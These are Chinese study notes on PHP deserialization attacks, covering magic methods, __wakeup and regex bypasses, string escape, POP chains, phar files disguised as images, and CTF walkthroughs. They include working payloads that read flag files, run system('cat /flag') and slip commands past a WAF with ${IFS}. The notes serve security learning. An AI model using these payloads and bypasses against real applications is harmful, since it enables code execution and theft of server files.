改文章仅为学习过程中的笔记,如有侵权,请联系本文作者删除,谢谢🙏
PHP反序列化
序列化:将数据转化成一种可逆的数据结构,目的是方便数据的传输和存储。
反序列化:序列化的逆向的过程
比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
常见的序列化格式
- 二进制格式
- 字节数组
- json字符串
- xml字符串
案例引入
<?php
$user = array('xiao', 'shi', 'zi');
$user = serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));
?>
//输出
a:3:{i:0;s:4:"xioa";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
[0] => xiao
[1] => shi
[2] => zi
)
//输出讲解
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
依次类推
如果变量前是protected,则会在变量名前加上\x00*\x00
,private则会在变量名前加上\x00类名\x00
,输出是一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:
<?php
class test{
protected $a;
private $b;
function __construct(){
$this->a = "xiaoshizi";
$this->b = "laoshizi";
}
function happy(){
return $this->a;
}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
输出则会导致不可见字符\x00
的丢失,所以此时如果有编码的话建议直接在php代码中编码
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
反序列化中常见的魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct //当一个对象创建时自动调用
常见魔术方法的调用时机(***)
__construct():实例化对象时会触发
eg:$a = new Users("hello");此时会触发
__destruct():对象引用完成或对象被销毁;反序列化unserialize()之后
__sleep():会在serialize()之前调用
__wakeup():在unserialize()之前触发
__tostring():把对象被当成字符串调用,包括echo、print也算,因为echo和print只能调用字符串,直接被当做字符串的肯定也算了!
__invoke():把对象当成函数调用
eg:$test是一个对象,然后使用echo $test()->benben;此时对象$test就被当做函数执行,就会触发__invoke()
__call():调用了一个根本不存在的方法
参数:2个参数$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
__callstatic():静态调用或调用成员常时使用
参数:2个参数$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
eg:这里跟_call()差不多一样的,只不过这个是静态调用(比如$test::callxxx('a');)时使用而已,而_call()的是$test->callxxx('a')
__get():调用的成员属性不存在
返回值:不存在的成员属性的名称
eg:$test->var2,var2这里是不存在的成员属性,所以会返回"var2"
__set():给不存在的成员属性赋值
返回值:不存在的成员属性的名称和赋的值
__isset():对不可访问的属性使用isset()或empty()时,__isset()就会被调用
返回值:不存在的成员函数的名称
eg:假设写入isset($test->var);但是var是private属性的,此时就会返回“var”
__unset():对不可访问的属性使用__unset()时
返回值:不存在的成员属性的名称
eg:unset($test->var),但是var是私有属性,所以会返回“var”
__clone():使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone(),就是说使用clone()克隆对象完成后,就会触发魔术方法__clone()
反序列化绕过小Trick
php7.1+反序列化对类属性不敏感
我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00
也依然会输出abc
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
绕过__wakeup
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
如果执行unserialize('{O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为666
而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
输出结果为abc
绕过部分正则
preg_match('/^0:\d+/')
匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点, 这段代码是用来检查一个字符串是否以 “0:” 开头,后面跟着至少一个数字。例如,它会匹配 “0:123” 但不会匹配 “1:000” 或 “0:”(因为 “0:” 后面没有数字)。)
- 利用加号绕过(注意在url里传参是+要编码为%2B)
- serialize(array(a));//a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
利用引用
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b = &$this->a;
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());
?>
上面这个例子将$b
设置为$a
的引用,可以使$a
永远与$b
相等
16进制绕过字符的过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
<?php
class test{
public $username;
public function __construct(){
$this->username = 'admin';
}
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);
PHP反序列化字符逃逸
情况一:过滤后字符变多
首先个给出本地的php代码,就是把反序列化后的一个x替换成为两个
<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
正常情况,传入name=mao
如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸
来看看结果:
我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}
这一部分一共二十个字符
由于一个x
会被替换为两个,我们输入了一共20个x
,现在是40个,多出来的20个x
其实取代了我们的这二十个字符";i:1;s:6:"woaini";}
,从而造成";i:1;s:6:"woaini";}
的溢出,而"闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini
最后的;}
闭合反序列化全过程导致原来的";i:1;s:7:"I am 11";}"
被舍弃,不影响反序列化过程`
情况二:过滤后字符变少
<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
正常情况传入name=mao&age=11
的结果
老规矩看看最后构造的结果,再继续讲解
简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码;
我们来看,这部分是age序列化后的结果
s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"
由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:"age";s:28:"11
这一部分刚好20个,后面由于有"
闭合了前面因此后面的参数就可以由我们自定义执行了
对象注入
当用户的请求在传给反序列化函数unserialize()
之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize
函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象漏洞出现得满足两个前提
1、
unserialize
的参数可控。
2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
例子:
<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);
在脚本运行结束后便会调用_destruct
函数,同时会覆盖test变量输出maomi
POP链的构造利用
POP链简单介绍
前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
简单案例讲解
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
这里我直接说利用思路,首先逆向分析,我们最终是希望通过Modifier
当中的append
方法实现本地文件包含读取文件,回溯到调用它的__invoke
,当我们将对象调用为函数时触发
,发现在Test
类当中的__get
方法,再回溯到Show
当中的__toString
,再回溯到Show
当中的__wakeup
当中有preg_match
可以触发__toString
因此不难构造pop链
<?php
ini_set('memory_limit','-1');
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
内置类漏洞
DirectoryIterator
内置类 DirectoryIterator
,则可以列出任意目录下的文件
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
//$Keng=DirectoryIterator&$Wang=/secret/即可列出secret目录下的所有文件
SplFileObject
内置类SplFileObject
,则可以可以轻松读取文件内容
echo new $J1ng($Hong);
//$J1ng=SplFileObject&$Hong=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php
案例1
源码:
<?php
error_reporting(0);
class teacher{
public $name;
public $rank;
public function __construct(){
$this->name = 'ing';
$this->rank = 'department';
}
}
class classroom{
public $name;
public $leader;
public function __construct(){
$this->name = 'one class';
$this->leader = new teacher;
}
}
class school{
public $department;
public $headmaster;
public function __construct(){
$this->department = new classroom;
$this->headmaster = 'ong';
}
}
$a = new school;
echo base64_encode(serialize($a));
解题思路:
//生成payload。
//题中说了flag应该在flag.php中,因此我们直接用php的内置类SplFileObject来读取文件内容。由于没有输出,想要读取到文件里的内容要用伪协议。
//POST:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
phar反序列化
phar基础知识
Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data,扩展了反序列化漏洞的攻击面,配合phar://协议使用。
Phar文件结构
1.a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>。可理解为phar文件头。
2.manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data。
3.contents是被压缩的内容。
4.signature签名,放在文件末尾。
phar反序列化
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下。
利用条件
1.:phar文件能上传至服务器。
2.存在受影响函数,存在可以利用的魔术方法。
3.phar和:和/没被过滤。
4.自己电脑能生成phar文件。要把php.ini的phar.readonly选项改成Off,并把前面的分号注释符删掉。
生成phar的模版:
<?php
class test{
public $name="qwq";
function __destruct()
{
echo $this->name;
}
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
绕过方式
- 当环境限制了
phar
不能出现在前面的字符里。可以使用compress.bzip2://
和compress.zlib://
等绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
- 也可以利用其它协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar
- GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
- 压缩为zip,将phar.png压缩为1.png来绕过对stub的检测
from hashlib import sha1
import gzip
with open('phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
实例
实例1
源码:
//index.php
<div>
<form action="file.php" method="post" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</div>
<?php
class file
{
public $name;
public $data;
public $ou;
private $mymd5;
publicfunction __wakeup()
{
}
publicfunction __call($name, $arguments)
{
return$this->ou->b='asdasdasd';
}
publicfunction __destruct()
{
if (@file_get_contents($this->data) === $this->mymd5) {
$this->name->function();
}
}
}
class data
{
public $a;
public $oi;
publicfunction __set($name, $value)
{
// TODO: Implement __set() method.
$this->yyyou();
return"yes";
}
publicfunction yyyou()
{
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->oi)){
eval($this->oi);
}
}
}
$file=new file();
@unlink("phar1.phar");
$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// 读取根目录下有什么文件
$file2=new file();
$file2->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值
$file2->name = new file();
$file2->name->ou = new data();
$file2->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));';
@unlink("phar2.phar");
$phar = new Phar("phar2.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file2); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// 随机读取根目录下的文件
$file3=new file();
$file3->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值
$file3->name = new file();
$file3->name->ou = new data();
$file3->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));';
@unlink("phar3.phar");
$phar = new Phar("phar3.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file3); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
再通过哈希拓展攻击绕过$this->mymd5 === $yourmd5
然后通过data://协议绕过file_get_contents,再通过无参数读文件绕过相应的过滤即可读到flag,也需要修改phar包文件头和修改后缀,然后爆破一下即可获得flag
// 读取根目录下有什么文件
$file2=new file();
$file2->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值
$file2->name = new file();
$file2->name->ou = new data();
$file2->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));';
@unlink("phar2.phar");
$phar = new Phar("phar2.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file2); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// 随机读取根目录下的文件
$file3=new file();
$file3->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值
$file3->name = new file();
$file3->name->ou = new data();
$file3->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));';
@unlink("phar3.phar");
$phar = new Phar("phar3.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file3); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
实例2
查看源码:
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
解题流程:
//编写phar.phar文件
<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('cat /flag');";
}
$a = new LoveNss();
echo serialize($a);
# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
由于需要过滤__wakeup(),所以使用010打开改phar文件之后,修改属性个数来绕过。由于设置了白名单,所以将后缀改为.png,然后使用脚本修改签名和压缩生成一个新的png压缩文件,脚本如下:
from hashlib import sha1
import gzip
with open('phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("4.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
上传该文件,然后再输入 file=phar://./upload/4.png/phar.phar
,成功获取flag
反序列化结合字符串逃逸
php字符串逃逸
原理说明
//举个例子
<?php
$img['one'] = "flag";
$img['two'] = "tqlh";
$a = serialize($img);
var_dump($a);
?>
//img是一个数组,将数进行序列化后是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlh";}"
<?php
$a='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}';
var_dump(unserialize($a));
$b='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}abc';
var_dump(unserialize($b));
?>
根据结果可知,就算在}
后面添加了abc
,最后输出也是上面那串字符串反序列化的东西,说明反序列化是会处理垃圾信息的。
反序列化是有一定范围的,对应的格式不能错,如果
s:3:"one"
那么s:3
后面就必须有长度为3的字符串,不然就会向后继续读取,这就算是逃逸。
举例分析
那我们这样构造一个数组呢
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
//输出:a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因为要让guest_img.png
进行逃逸,所以可以将img
这段放到花括号外面去,所以这样子写呢
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
//输出:a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
花括号外面的是垃圾数据了
现在我们需要的数据是";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
就是我们可以过滤器过滤掉php
或者flag
将我们把不要的东西给去掉
我们不要的是;s:8:"function";s:42:"a"
这一串东西,一共是24个字符
所以需要6个flag
进行这个过滤
构造一下
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
//输出:a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//flag被过滤之后:a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
s:24就相当于 ;s:8:"function";s:42:"a"
我们剩下的是:
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}还剩下了user和img这两个值
去掉垃圾数据
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}
//为什么后面还有加一个s:2:"aa";s:1:"a";,因为}不是被当作垃圾数据处理了嘛,但是这个数组有三个值,所以我们在后面自己构造一个
实例分析
实例1
源码(附上注释):
<?php
error_reporting(0); // 关闭错误报告
class catalogue { // 定义一个名为catalogue的类
public $class; // 声明一个公有属性$class
public $data; // 声明一个公有属性$data
public function __construct() { // 类的构造函数
$this->class = "error"; // 初始化$class属性为"error"
$this->data = "hacker"; // 初始化$data属性为"hacker"
}
public function __destruct() { // 类的析构函数
echo new $this->class($this->data); // 根据$class属性的值动态创建对象并输出
// 注意:这里存在安全风险,因为可以动态实例化任意类
}
}
class error { // 定义一个名为error的类
public $OTL; // 声明一个公有属性$OTL
public function __construct($OTL) { // 类的构造函数
$this->OTL = $OTL; // 初始化$OTL属性
echo ("hello ".$this->OTL); // 输出"hello "和$OTL属性的值
}
}
class escape { // 定义一个名为escape的类
public $name = 'OTL'; // 初始化$name属性为'OTL'
public $phone = '123666'; // 初始化$phone属性为'123666'
public $email = 'sweet@OTL.com'; // 初始化$email属性为'sweet@OTL.com'
}
function abscond($string) { // 定义一个名为abscond的函数
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello'); // 定义一个包含要过滤字符串的数组
$filter = '/' . implode('|', $filter) . '/i'; // 将数组元素用'|'连接并加上正则表达式定界符'/'和修饰符'i'
return preg_replace($filter, 'hacker', $string); // 使用正则表达式替换$string中的匹配项为'hacker'
}
if(isset($_GET['cata'])){ // 检查GET请求中是否包含'cata'字段
if(!preg_match('/object/i',$_GET['cata'])){ // 如果'cata'字段的值不包含'object'(不区分大小写)
unserialize($_GET['cata']); // 反序列化'cata'字段的值
// 注意:这里存在安全风险,因为可以反序列化任意数据
} else {
$cc = new catalogue(); // 创建catalogue类的实例
unserialize(serialize($cc)); // 序列化$cc对象后再反序列化,实际上是多余的操作
// 注意:这里的代码逻辑似乎没有意义,可能是为了展示序列化/反序列化过程
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){ // 检查POST请求中是否包含'name'、'phone'和'email'字段
if (preg_match("/flag/i",$_POST['email'])){ // 如果'email'字段的值包含'flag'(不区分大小写)
die("nonono,you can not do that!"); // 终止脚本执行并输出错误信息
}
$abscond = new escape(); // 创建escape类的实例
$abscond->name = $_POST['name']; // 将POST请求中的'name'字段的值赋给$abscond对象的$name属性
$abscond->phone = $_POST['phone']; // 将POST请求中的'phone'字段的值赋给$abscond对象的$phone属性
$abscond->email = $_POST['email']; // 将POST请求中的'email'字段的值赋给$abscond对象的$email属性
$abscond = serialize($abscond); // 序列化$abscond对象
$escape = get_object_vars(unserialize(abscond($abscond))); // 这里的abscond($abscond)是错误的,应该直接使用某个处理后的序列化字符串进行反序列化
// 注意:即使上面的错误被修正,这里的代码仍然存在安全风险,因为可以反序列化任意数据并获取其属性
if(is_array($escape['phone'])){ // 检查$escape数组中的'phone'键对应的值是否为数组
// 注意:这个检查逻辑通常没有意义,因为电话号码不应该是一个数组
echo base64_encode(file_get_contents($escape['email'])); // 如果'phone'是数组(这通常意味着代码逻辑有误),则尝试读取由'email'键指定的文件内容,并将其编码为Base64格式后输出
// 注意:这里存在严重的安全漏洞,因为可以读取服务器上的任意文件
} else {
echo "I'm sorry to tell you that you are wrong"; // 如果'phone'不是数组,则输出错误信息
}
}
} else {
highlight_file(__FILE__); // 如果GET请求中不包含'cata'字段,则高亮显示当前文件的源代码
}
?>
解题流程(预期解):
-
首先参数cata的值我们先不管,直接输入1。
-
然后就是到了对name、phone和email参数的输入,其中phone参数需要时数组,且输入的email值不能含有flag,那么这时我们想到字符串逃逸。
-
假设现在我们的poc为:
name=test&phone[]=NSS&email=test
-
那么经过序列化后为:
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:3:"hacker";}s:5:"email";s:4:"test";}
-
那么问题来了,我们需要的是传入的email为
/flag
,然后使用file_get_contents
来读取flag。但是email参数的flag被过滤了,不能传入了。那么此时我们利用字符串逃逸的原理,让phone参数传入/flag不就可以了吗?!为什么可以这么做呢?因为上述源码有一个$escape = get_object_vars(unserialize(abscond($abscond)));
和echo base64_encode(file_get_contents($escape['email']));
,那么也就是说执行file_get_contents命令的flag是从反序列化后中提取的email,并不是直接post传入的email,那么此时我们就可以构造phone的参数使之包含email的值而丢弃掉post传入的email的值。 -
根据上述序列化之后的结果
;}s:5:"email";s:4:"test";}
,我们要变为;}s:5:"email";s:5:"/flag";}
,一共28个字符,由于一个hello会被替换为hacker,所以phone参数每传入一个hello就会多一个字符(因为hello是5个字符,hacker是6个字符),那么我们只要写28个hello就可以让;}s:5:"email";s:5:"/flag";}
逃逸成功,即此时传入的phone参数为hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}
综上,我们的poc为 name=test&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=test
,之后将获得的base64编码进行解码,即可获得flag。
实例分析
实例1
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
php反序列化漏洞常用的magic函数:
__construct()在对象创建时被调用
__destruct()在php脚本结束时被调用
__wakeup()在反序列化时被调用unserialize()
__toString()在对象被当作一个字符串使用时被调用
代码逻辑:
接收输入POST[‘ctf’] -> base64_decode -> unserialize -> __wakeup() -> waf()正则过滤args中的危险字符(, &, |, ;, , /, cat, flag, tac, php, ls) -> __dectruct()满足method='ping’条件时call_user_func_arry(ping(), args)-> ping(args) -> exec(args)执行命令。
漏洞利用思路:
- 创建ease对象:method=‘ping’,args=‘想要执行的命令’
- 序列化ease对象,在经过base64_encode编码之后,通过POST请求ctf=""发送给目标程序
//执行ls命令查看当前目录(使用l\s绕过)
$payload = new ease('ping', array('l\s'));
echo base64_encode(serialize($payload));
//输出“Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319”,作为ctf参数值。
//查看flag_1s_here目录:使用${IFS}代替空格
# $payload = new ease('ping', array('l\s'));
$payload = new ease('ping', array('l""s${IFS}fl""ag_1s_here'));
echo base64_encode(serialize($payload));
